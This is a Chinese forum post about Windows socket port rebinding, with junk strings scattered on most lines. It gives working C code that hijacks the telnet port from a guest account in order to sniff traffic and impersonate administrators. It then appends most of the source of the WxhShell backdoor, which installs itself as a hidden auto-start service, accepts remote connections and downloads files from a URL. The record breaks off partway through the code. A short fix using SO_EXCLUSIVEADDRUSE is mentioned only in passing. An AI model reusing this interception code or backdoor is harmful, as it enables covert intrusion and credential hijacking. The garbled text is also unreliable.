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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 8y[Rwa  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 8aM\B%NGWi  
`q  | )_  
  saddr.sin_family = AF_INET; hc9 ON&L\>  
jWvi% I qi  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); xd"+ &YT  
N<Ym&$xR  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); ?V~vP%1  
+RiI5.$=Z  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 $i!r> .Jo  
S$40nM  
  这意味着什么?意味着可以进行如下的攻击: X -=M>H^  
u35"oLV6}#  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 DV>;sCMJ %  
LU@1Gol  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) f+)LVT8p  
nq+6ipx  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 =E(ed,gH8  
oSYbx:2wo  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  JIYzk]Tj  
68<W6z  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 _sL;E<)y(  
U(OkTJxv+  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 tt6GtYrC 1  
+nB0O/m'U  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 RHbbj}B  
;v.J D7  
  #include r%$\Na''  
  #include  #3RElI  
  #include (WY9EJ<s,  
  #include    v:w^$]4  
  DWORD WINAPI ClientThread(LPVOID lpParam);   /3sX>Rj  
  int main() '0o^T 7C  
  { t0/Ol'kgs  
  WORD wVersionRequested; cBOt=vg,5  
  DWORD ret; 4? rEO(SZ  
  WSADATA wsaData; ,Qo:]Mj  
  BOOL val; :v$)Z~  
  SOCKADDR_IN saddr; ,iZKw8]f  
  SOCKADDR_IN scaddr; d{B0a1P  
  int err; bcxR7<T,"9  
  SOCKET s; t56PzT'M  
  SOCKET sc; {%&04yq+  
  int caddsize; S<i. O  
  HANDLE mt; 2#/sIu-L  
  DWORD tid;   X(8LhsP  
  wVersionRequested = MAKEWORD( 2, 2 ); ^q%f~m,O<  
  err = WSAStartup( wVersionRequested, &wsaData ); nYvkeT  
  if ( err != 0 ) { Lm1JiP s d  
  printf("error!WSAStartup failed!\n"); eIf-7S]m  
  return -1; ,[dvs&-*  
  } J*6B~)Sp@  
  saddr.sin_family = AF_INET; 4N3O<)C)@  
   k$DRX) e  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 <QaUq `,  
mjk<FXW  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); ![]6| G&  
  saddr.sin_port = htons(23); ip*^eS^  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 4/ q BD  
  { +Oo-8f*  
  printf("error!socket failed!\n"); MhD=\Lpj\  
  return -1; z 9WeOs  
  } c]$$ap  
  val = TRUE; J{XRltI+  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 'L{pS-+6  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) Ri::Ek3qu  
  { wM-H5\9n  
  printf("error!setsockopt failed!\n"); ?zVE7;r4U  
  return -1; J'WOqAnPZ  
  } 1r*@1y<0"  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; VuK>lY &  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 0r!F]Rm-^  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 p`52  
~[BGKq h  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) PB BJ.!Pb  
  { CU*;>h1~u  
  ret=GetLastError(); } ,Dk6w$  
  printf("error!bind failed!\n"); 9Gx`[{wI9<  
  return -1; y;P%=M P  
  } i2[8^o`_  
  listen(s,2); ,&* BhUC  
  while(1) E2`9H-6e  
  { {aK3'-7  
  caddsize = sizeof(scaddr); )}_}D +2  
  //接受连接请求 l>(*bb1}b  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); bhsCeH  
  if(sc!=INVALID_SOCKET) #~w~k+E4  
  { g~9b_PY9  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); $d.Dk4.ed  
  if(mt==NULL) >-w# &T &K  
  { B=}QgXg  
  printf("Thread Creat Failed!\n"); KO"+"1 .  
  break; !i@A}$y  
  } WK#%G  
  } 9gIim   
  CloseHandle(mt); /{I-gjovy  
  } E4_,EeC#  
  closesocket(s); cw0uLMqr`  
  WSACleanup(); DC_k0VBn  
  return 0; 45jImCm  
  }   :n%&  
  DWORD WINAPI ClientThread(LPVOID lpParam) $_\x}`c~.  
  { ~9;udBfwF  
  SOCKET ss = (SOCKET)lpParam; tk:G6Bkid  
  SOCKET sc; Bc b '4*:  
  unsigned char buf[4096]; qamq9F$V  
  SOCKADDR_IN saddr; "zqa:D26  
  long num; [l<&eI&ln  
  DWORD val; A2P.5EN  
  DWORD ret; 1jPh0?BY  
  //如果是隐藏端口应用的话,可以在此处加一些判断 l=$?#^^ /  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   Wk!<P" nHd  
  saddr.sin_family = AF_INET; ?@6Zv$vZ  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 'coY`B; 8  
  saddr.sin_port = htons(23); 2nL*^hhh  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) lJx5scN [  
  { Wdj|RKw  
  printf("error!socket failed!\n"); )vuIO(8F#  
  return -1; t"MrrK>T  
  } #|=lU4Bf  
  val = 100; g{2~G6%;0  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) G6JP3dOT  
  { ~Ra8(KocD  
  ret = GetLastError(); :wUi&xw  
  return -1; 8 ~Pdr]5  
  } D$TpT X\  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) O+=}x]q*y  
  { z('t#J!b  
  ret = GetLastError(); 'UuHyC2Ha3  
  return -1; IQ xi@7%&  
  } D )Jac@,0  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) T~g`;Q%i  
  { -"#jRP]#  
  printf("error!socket connect failed!\n"); _U^G*EqL*  
  closesocket(sc); vCOtED*<  
  closesocket(ss); 2gEF$?+q?  
  return -1; ho^jmp  
  } d(KK7SQg  
  while(1) g{K \  
  { m)r,  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。  &!wtH  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 K\mFb  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 KUHkjA_  
  num = recv(ss,buf,4096,0); Dg}EI^ d  
  if(num>0) $IdU  
  send(sc,buf,num,0); eIhfhz?Q;#  
  else if(num==0) "/3YV%to-#  
  break; {)Shc;Qh  
  num = recv(sc,buf,4096,0);  um2}XI  
  if(num>0) Wq}W )E  
  send(ss,buf,num,0); ]xbMMax  
  else if(num==0) 4jjo%N  
  break; W?[ C au-  
  } /2tP d  
  closesocket(ss); QpS7 nGev  
  closesocket(sc); J90 )v7  
  return 0 ; ##Qy6Dc  
  } 4Bt)t#0  
T!^v^m@>y  
\+x#aN\  
========================================================== 6X!jNh$oF  
152LdZevF  
下边附上一个代码,,WXhSHELL 2|NQ5OA0  
Oa M~rze  
========================================================== N-45LS@  
"}oo`+]Cq  
#include "stdafx.h" kN 0N18E  
<5G 4|l  
#include <stdio.h> FiXqypT_(  
#include <string.h> jc,Q g2  
#include <windows.h> -av=5hm  
#include <winsock2.h> n{M-t@r7  
#include <winsvc.h> )d|s$l$?7  
#include <urlmon.h> OXB 5W#$  
*R7bI?ow  
#pragma comment (lib, "Ws2_32.lib") I<Mb /!TQ  
#pragma comment (lib, "urlmon.lib") |A+,M"F?  
S5YEz XG  
#define MAX_USER   100 // 最大客户端连接数 o5m] Gqa  
#define BUF_SOCK   200 // sock buffer 3/]~#y%2  
#define KEY_BUFF   255 // 输入 buffer _p^Wc.[~M  
_!w69>Nj  
#define REBOOT     0   // 重启 9Q 7342  
#define SHUTDOWN   1   // 关机 Zvra >%  
Kb'4W-&u!  
#define DEF_PORT   5000 // 监听端口 +HgyM0LFg  
^SM5oK  
#define REG_LEN     16   // 注册表键长度 {Eqx'j  
#define SVC_LEN     80   // NT服务名长度 r-Y7wM`TZ  
+k/=L9#e  
// 从dll定义API wbg ?IvY[  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); K1&t>2=%  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); _3#_6>=M  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); $)KNpdXh  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); SA%)xGRW  
rMw$T=Oi  
// wxhshell配置信息 QB ;TQZ  
struct WSCFG { >X=VPh8  
  int ws_port;         // 监听端口 +G,_|C2J  
  char ws_passstr[REG_LEN]; // 口令 _@ g\.7@0G  
  int ws_autoins;       // 安装标记, 1=yes 0=no a :cfr*IsK  
  char ws_regname[REG_LEN]; // 注册表键名 ]K%d   
  char ws_svcname[REG_LEN]; // 服务名 ,?+uQXfXR  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 #5iwDAw:|r  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 $Yw~v36`t/  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 5@pLGMHT  
int ws_downexe;       // 下载执行标记, 1=yes 0=no p Ohjq#}  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ^/xb-tuV  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 @xk;]H80  
t[AA=  
}; .z*}%,G  
43~v1pf{!  
// default Wxhshell configuration H.o3d/8:  
struct WSCFG wscfg={DEF_PORT, Ag&K@%|*  
    "xuhuanlingzhe", /_yAd,^-+  
    1, h<n2pz}  
    "Wxhshell", kUr/*an  
    "Wxhshell", R38 \&F  
            "WxhShell Service", 8m#y>`  
    "Wrsky Windows CmdShell Service", $I<\Yuy-M9  
    "Please Input Your Password: ", D u_ ;!E  
  1, yQ&C]{>TS  
  "http://www.wrsky.com/wxhshell.exe", Ht@5@(W]I  
  "Wxhshell.exe" h8;H<Y;yQ  
    }; ]LMtZUz  
%zhSSB =BJ  
// 消息定义模块 3T[zieX  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; czB),vooz  
char *msg_ws_prompt="\n\r? for help\n\r#>"; b'vIX< g  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; !P":z0K4  
char *msg_ws_ext="\n\rExit."; Vl'rO_?t  
char *msg_ws_end="\n\rQuit."; /J(~NGT  
char *msg_ws_boot="\n\rReboot..."; : ?>yi7w  
char *msg_ws_poff="\n\rShutdown...";  &'?Hh(  
char *msg_ws_down="\n\rSave to "; - rI4_Dl  
M-e|$'4u  
char *msg_ws_err="\n\rErr!"; Z4m+GFY  
char *msg_ws_ok="\n\rOK!"; =c%gV]>G  
^S)t;t@x  
char ExeFile[MAX_PATH]; 7ZUS  
int nUser = 0; ~ NO7@m uw  
HANDLE handles[MAX_USER]; 1O1MB&5%  
int OsIsNt; Ri*mu*r\}  
=Ew77  
SERVICE_STATUS       serviceStatus; n;QFy5HB8  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; _:Jma  
[fs.D /  
// 函数声明 S%wd Xe  
int Install(void); \VypkbE+  
int Uninstall(void); $yUPua/-  
int DownloadFile(char *sURL, SOCKET wsh); dqi31e{*2\  
int Boot(int flag); EOS[MjX+J  
void HideProc(void); omT^jh  
int GetOsVer(void); r?pN-x$M=  
int Wxhshell(SOCKET wsl); 3-)R'  
void TalkWithClient(void *cs); gf^y3F[\  
int CmdShell(SOCKET sock); c(!pcB8  
int StartFromService(void); 6QNZ/Ox:  
int StartWxhshell(LPSTR lpCmdLine); _T;Kn'Gz(&  
Zm+GH^f'  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 9S<V5$}  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); K?yMy,9%Yw  
7Jpq7;  
// 数据结构和表定义 AE Abny q  
SERVICE_TABLE_ENTRY DispatchTable[] = V@\u<LO0G  
{ c<{~j~+  
{wscfg.ws_svcname, NTServiceMain}, cs[nFfM  
{NULL, NULL} *q@3yB}  
}; $8Z4jo  
S7@/d HN  
// 自我安装 S8C} C#  
int Install(void) f?(g5o*2  
{ is^5TL%@  
  char svExeFile[MAX_PATH]; 4.>y[_vu  
  HKEY key; 7dOpJjv?)  
  strcpy(svExeFile,ExeFile); g\*2w @  
<<-BQ l~  
// 如果是win9x系统,修改注册表设为自启动 (%9J( 4  
if(!OsIsNt) { zKh<zj  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ViUx^e\  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); }n +MVJ;dG  
  RegCloseKey(key); (@bq@0g  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { QoMa+QTuc  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 9Fg:   
  RegCloseKey(key); .Y }k@T40a  
  return 0; +6L.a3&(b  
    } /2 qxJvZ  
  } pi/&WMZ<  
} A[^k4 >  
else { gm1RQ^n,@.  
aFL<(,~r  
// 如果是NT以上系统,安装为系统服务 o<5+v^mt#  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 'L^M"f^I  
if (schSCManager!=0) &M=15 uCK  
{ IiY%y:!g  
  SC_HANDLE schService = CreateService Bm6t f}8  
  ( 7lr;S(C  
  schSCManager, >A}ra^gU  
  wscfg.ws_svcname, 3.rl^Cq1  
  wscfg.ws_svcdisp, XRP+0=0  
  SERVICE_ALL_ACCESS, (aB:P03  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , l(}l([rdQ  
  SERVICE_AUTO_START, OJ.oHf=K!  
  SERVICE_ERROR_NORMAL, _P%PjFQ)  
  svExeFile,  \7e4t  
  NULL, KYq<n& s  
  NULL, 0;%\L:,O  
  NULL, ; NO#/  
  NULL, x6vkd%fCj  
  NULL c]|Tg9AW  
  ); ojVN -*5  
  if (schService!=0) ;)ERxMun  
  { sGa "  
  CloseServiceHandle(schService); Vq^b_^  
  CloseServiceHandle(schSCManager); yP34h*0B  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); v7@ *dg  
  strcat(svExeFile,wscfg.ws_svcname); ciW;sK8  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { d-gcXaA-8  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); SUL\|z`5  
  RegCloseKey(key); oq (W|  
  return 0; nd5.Py$  
    } ?gjkgCbC#  
  } >VG*La' c  
  CloseServiceHandle(schSCManager); q } (f9  
} 8A 'SMJi  
} 8sq0 BH  
8SCXA9}  
return 1; aaI5x  
} SXV2Y-  
<irr .O  
// 自我卸载 s,M]f,T  
int Uninstall(void) JZqJ&   
{ eUD 5 V  
  HKEY key; m`4N1egCt  
GZmfE`  
if(!OsIsNt) { +hs:W'`%  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { +KIBbXF7  
  RegDeleteValue(key,wscfg.ws_regname); _9S"rH[  
  RegCloseKey(key); 1`Uu;mz  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { WISK-z  
  RegDeleteValue(key,wscfg.ws_regname); ~SXqhX-`  
  RegCloseKey(key); \8k4v#wH  
  return 0; C]3^:b+   
  } gU?M/i2  
} tnq Zl S  
} #=Whh 9-d  
else { =n;LP#(h?  
G%CS1#  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); +5%ncSJx  
if (schSCManager!=0) <B+ WM  
{ ;U?323Z  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); rgEN~e'  
  if (schService!=0) -JclEp  
  { )?( _vrc<  
  if(DeleteService(schService)!=0) { SN$3cg]z  
  CloseServiceHandle(schService); :2~2j-m  
  CloseServiceHandle(schSCManager); LDDt=HEY4  
  return 0; 2=| Ks]<P  
  } Jb)xzUhES  
  CloseServiceHandle(schService); FWLLbL5t  
  } oYWHO<b  
  CloseServiceHandle(schSCManager); U:|:Y=O?Q  
} .8wF> 8  
} S=$ \S9  
%)e&"mq!|  
return 1; hF1Lj=x  
} ]v_u2f'  
(62Sc]  
// 从指定url下载文件 .pblI  
int DownloadFile(char *sURL, SOCKET wsh) c Hnd gUW]  
{ SOS|3q_`  
  HRESULT hr; r4]hcoU  
char seps[]= "/"; /5?tXH"  
char *token; ~^o YPd52*  
char *file; k?_uv  
char myURL[MAX_PATH]; k:&B b"  
char myFILE[MAX_PATH]; ]'z 5%'  
`a@YbuLd  
strcpy(myURL,sURL); ];QX&";Z  
  token=strtok(myURL,seps); +t(Gt0+  
  while(token!=NULL) !{A#\~,  
  { EEHTlqvR  
    file=token; $;)A:*e  
  token=strtok(NULL,seps); rt\.|Hr4s  
  } +0:]KG!Zs.  
c >xHaA:V  
GetCurrentDirectory(MAX_PATH,myFILE); BD mF+  
strcat(myFILE, "\\"); P[H 4Yp  
strcat(myFILE, file); NHhKEx0Gtu  
  send(wsh,myFILE,strlen(myFILE),0); YIHGXi<"n  
send(wsh,"...",3,0); (?P\;yDG  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); z/pxZ B ~"  
  if(hr==S_OK) 0 R>!jw  
return 0; O#)YbaE  
else .gCun_td#  
return 1; bFJ>+ {#  
9Wdx"g52_D  
} r$,Xv+}  
U bh)}G,Mg  
// 系统电源模块 |doG}C  
int Boot(int flag) eX'V#K#C  
{ Uf|@h  
  HANDLE hToken; rW*[sLl3  
  TOKEN_PRIVILEGES tkp; 2Xv$  
6<YAoo  
  if(OsIsNt) { t]ID  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 0 l+Jq  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); k jx<;##R8  
    tkp.PrivilegeCount = 1; :79u2wSh  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 7<LCX{Uw  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); K>#QC  
if(flag==REBOOT) { tl=e!  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) D+Z2y1  
  return 0; id>2G %Tx  
} Crezo?  
else { 1#|qT7  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) W O'nW  
  return 0; QF$s([  
} (?[%u0%_  
  } _I0=a@3  
  else { -CTLQyj)  
if(flag==REBOOT) { a *nCvZ  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))  wKbU}29c  
  return 0; 8,)<,g-/=  
} 0*KL*Gn  
else { QH kjxj  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Yd<9Y\W%?  
  return 0; F1% ^,;  
} wjHH%y  
} -.5R.~@  
+*wo iSD  
return 1; *d-JAE  
} 4UMOC_  
z7&m,:M  
// win9x进程隐藏模块 =RHIB1  
void HideProc(void) .cr<.Ov  
{ *EFuK8 ;  
$ou/ Fn  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); s6Il3K f  
  if ( hKernel != NULL ) `X(H,Q}*;  
  { )c<[@ ::i  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); QvlV jDIy  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); yL23 Nqe  
    FreeLibrary(hKernel); FW3uq^  
  } D=M'g}l  
(bD#PQXzm  
return; ?BU?c:"f  
} oKPG0iM:  
@u:q#b  
// 获取操作系统版本 +)_#j/  
int GetOsVer(void) jPs{Mr<  
{ 6h1pPx7zU  
  OSVERSIONINFO winfo; K}p0$Lc  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); .qCI!%fg  
  GetVersionEx(&winfo); 8`Tj*7Y=  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ksyQ_4^SO  
  return 1; pV$A?b"?*  
  else 7s 0pH+  
  return 0; "7w=LhzV[$  
} 'T]Ok\  
%<MI]D  
// 客户端句柄模块 HE+D]7^  
int Wxhshell(SOCKET wsl) PVrNS7 Rk/  
{ q,=YKw)*  
  SOCKET wsh; "J 2v8c  
  struct sockaddr_in client; & z5:v-G?  
  DWORD myID; dA0o{[o=  
fjm 3X$tR  
  while(nUser<MAX_USER) Y0ACJ?|  
{ l7(p~+o?h>  
  int nSize=sizeof(client); [=>[2Ty  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 4H`B]Zt7  
  if(wsh==INVALID_SOCKET) return 1; HC| ]Au  
w]US-7  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Q$Q:Jm53  
if(handles[nUser]==0) |A2o$H  
  closesocket(wsh); .+~9 vH  
else '^tC|)  
  nUser++; )+f"J$ah  
  } sc z8 `%  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); .G>~xm0  
u|(Iu}sE=  
  return 0; b\H,+|i K  
} 9jllW[`2F  
\\Nt^j3qR  
// 关闭 socket 0RN7hpf&`  
void CloseIt(SOCKET wsh) J5}?<Dd:  
{ Z*.rv t  
closesocket(wsh); Q>TNzh  
nUser--; jV#1d8qm  
ExitThread(0); ,t39~w  
} Sb`SJ):x  
G#6O'G N  
// 客户端请求句柄 r|ogF8YN  
void TalkWithClient(void *cs) x)f<lZ^L&H  
{ '~xiD?:  
Sy^@v%P'A  
  SOCKET wsh=(SOCKET)cs; kE1k@h#/  
  char pwd[SVC_LEN]; +[pJr-k  
  char cmd[KEY_BUFF]; (i-L:  
char chr[1]; Iv?1XI=  
int i,j; ix 5\Y  
[!4V_yOb  
  while (nUser < MAX_USER) { vX$|/74  
y.a)M?3  
if(wscfg.ws_passstr) { W2A!BaH%  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 5?TX.h9B4  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); )9+H[  
  //ZeroMemory(pwd,KEY_BUFF); E>F6!qYm  
      i=0; Rj-4K@a8#N  
  while(i<SVC_LEN) { ^O**ZndB/  
Cf@N>N#t)  
  // 设置超时 3vEwui-5  
  fd_set FdRead; +xNq8yS  
  struct timeval TimeOut; I<S*"[nV  
  FD_ZERO(&FdRead); u89Q2\z~"M  
  FD_SET(wsh,&FdRead); Hh%|}*f_,  
  TimeOut.tv_sec=8; 'i 8`LPQ  
  TimeOut.tv_usec=0; pMkM@OH  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); +l<;?yk:;  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 3H%bbFy  
S~GS:E#  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ?Xq kf>  
  pwd=chr[0]; QV _a M2  
  if(chr[0]==0xd || chr[0]==0xa) { _w7yfZLv+  
  pwd=0; h-\+# .YP  
  break; *?o 'sTH  
  } %%lJyLq'Vk  
  i++; EH]qYF.  
    } TZarI-A  
+ ,rl\|J%  
  // 如果是非法用户,关闭 socket ,+FiP{`  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); +aOX{1w  
} 3*oZol/  
"}:SXAZ5`  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); :PB W=W  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); m2Wi "X(I_  
J?f7!F:8  
while(1) { :v^OdW  
/Y| <0tq  
  ZeroMemory(cmd,KEY_BUFF); zn5|ewl@"  
hdYd2 j  
      // 自动支持客户端 telnet标准   PsN_c[+  
  j=0; nsu RG  
  while(j<KEY_BUFF) { JC7:0A^  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); H)5"<=]  
  cmd[j]=chr[0]; ?F|F~A8dr  
  if(chr[0]==0xa || chr[0]==0xd) { 5zH_yZ@+  
  cmd[j]=0; %5j*e  
  break; 2QKt.a  
  } z!)@`?  
  j++; E+Dcw  
    } v R ! y#  
RIFTF R  
  // 下载文件 LPkl16yZ  
  if(strstr(cmd,"http://")) { |^gnT`+  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); MK <\:g  
  if(DownloadFile(cmd,wsh)) c=p!2jJ1K~  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Kae-Y  
  else \ F)}brPc  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); P3TM5  
  } TmJXkR.5  
  else { Y$W)JWMY`  
[!`5kI  
    switch(cmd[0]) { )-\qo#0l  
  -K6y#O@@  
  // 帮助 -6# _t  
  case '?': { ~g*5."-i  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ;G*)7fi  
    break; ]qiX"<s>~C  
  } JG{`tTu  
  // 安装 (dHjf;  
  case 'i': { 0+KSD{  
    if(Install()) 2Vx x  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); >*$Xbj*  
    else RJdijj  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); vHb^@z=  
    break; [iC]Wh%  
    } .L.9e#?3  
  // 卸载 iK8jX?  
  case 'r': { [ic%ZoZ_  
    if(Uninstall()) 5JS*6|IbD{  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2fP;>0?  
    else Ij:yTu   
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); N: 5 N}am  
    break; Tb{RQ?Nw'  
    } </W"e!?X  
  // 显示 wxhshell 所在路径 @%r "7%tq>  
  case 'p': { n_*.i1\'w  
    char svExeFile[MAX_PATH]; rGay~\  
    strcpy(svExeFile,"\n\r");  =sk#`,,:  
      strcat(svExeFile,ExeFile); Y.% Vvg4z3  
        send(wsh,svExeFile,strlen(svExeFile),0); ]^<\a=U  
    break; ^[Y/ +Q.J  
    } 8qoA5fW>  
  // 重启 z<8VJZd  
  case 'b': { Ei89Ngp\}  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 8( bK\-b  
    if(Boot(REBOOT)) dEam|  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); %I@ vMs^  
    else { ul!q)cPb{  
    closesocket(wsh); DkW^gt  
    ExitThread(0); \+k~p:d_8  
    } xp*d:  
    break; IaO*{1re  
    } xsU3c0wbr8  
